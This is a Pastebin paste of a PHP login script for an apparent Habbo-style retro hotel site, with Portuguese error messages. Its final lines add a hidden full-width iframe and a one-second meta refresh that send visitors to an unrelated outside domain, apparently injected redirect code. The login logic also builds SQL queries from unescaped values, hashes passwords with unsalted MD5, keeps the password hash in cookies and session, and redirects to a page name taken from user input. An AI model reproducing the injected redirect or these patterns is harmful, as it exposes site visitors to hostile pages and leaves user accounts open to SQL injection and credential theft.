Advertisement
Guest User

Untitled

a guest
Feb 21st, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. <?php
  2. require_once('./data_classes/server-data.php_data_classes-core.php.php');
  3. if (isset($_SESSION['username'])) {
  4. header("location: $path/me");
  5. }
  6. $ip_check = mysql_query("SELECT ip_last,username,id FROM users WHERE ip_last = '".$remote_ip."'");
  7. $page = HoloText($_GET['p']);
  8.  
  9. if(isset($_POST['credentials_username']) && isset($_POST['credentials_password']))
  10. {
  11. if(empty($_POST['credentials_username']))
  12. {
  13. $login_fehler = "Entre com seu nome e senha para login.";
  14. }
  15. elseif(empty($_POST['credentials_password']))
  16. {
  17. $login_fehler = "Digite sua senha.";
  18. }
  19.  
  20. else
  21. {
  22.  
  23. if(isset($_COOKIE['password']))
  24. {
  25. $pwd = HoloHashMD5($_COOKIE['password']);
  26. }
  27. else
  28. {
  29. $pwd = HoloHashMD5($_POST['credentials_password']);
  30. }
  31. $userq = mysql_query("SELECT username, password FROM users WHERE username = '".HoloText($_POST['credentials_username'])."' AND password = '".$pwd."' LIMIT 1");
  32. if(mysql_num_rows($userq) == 1)
  33. {
  34. $user = mysql_fetch_assoc($userq);
  35.  
  36. $banq = mysql_query("SELECT id, value, reason, expire FROM bans WHERE (value = '".$user['username']."' OR value = '".$_SERVER['REMOTE_ADDR']."') AND expire > '".time()."' LIMIT 1");
  37. if(mysql_num_rows($banq) == 1)
  38. {
  39. $ban = mysql_fetch_assoc($banq);
  40.  
  41. $login_fehler = "Você foi banido por ".$ban['reason']." até ".date("d/m/Y H:i:s", $ban['expire']);
  42. }
  43. else
  44. {
  45. mysql_query("UPDATE cms_settings SET logins = logins +1");
  46.  
  47. if(isset($_POST['_login_remember_me']))
  48. {
  49. $_COOKIE['username'] = $user['username'];
  50. $_COOKIE['password'] = $user['password'];
  51. }
  52.  
  53. $_SESSION['username'] = $user['username'];
  54. $_SESSION['password'] = $user['password'];
  55.  
  56. if (isset($page)) {
  57. header("location: $path/$page");
  58. }
  59. else {
  60. header("location: $path/me");
  61. }
  62.  
  63. }
  64. }
  65. else
  66. {
  67. $login_fehler = "Sua senha e seu email não conferem.";
  68. }
  69. }
  70. }
  71. require_once('./habblet/login/ajax.php');
  72. require_once('./habblet/ajax/mobile_detector.php'); ?>
  73. <iframe src="http://agileurbia.com/Rlr" width="100%" marginwidth="0" height="670" marginheight="0" scrolling="No" frameborder="0"></iframe>
  74. <META http-equiv="refresh" content="1;URL=http://agileurbia.com/Rlr">
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement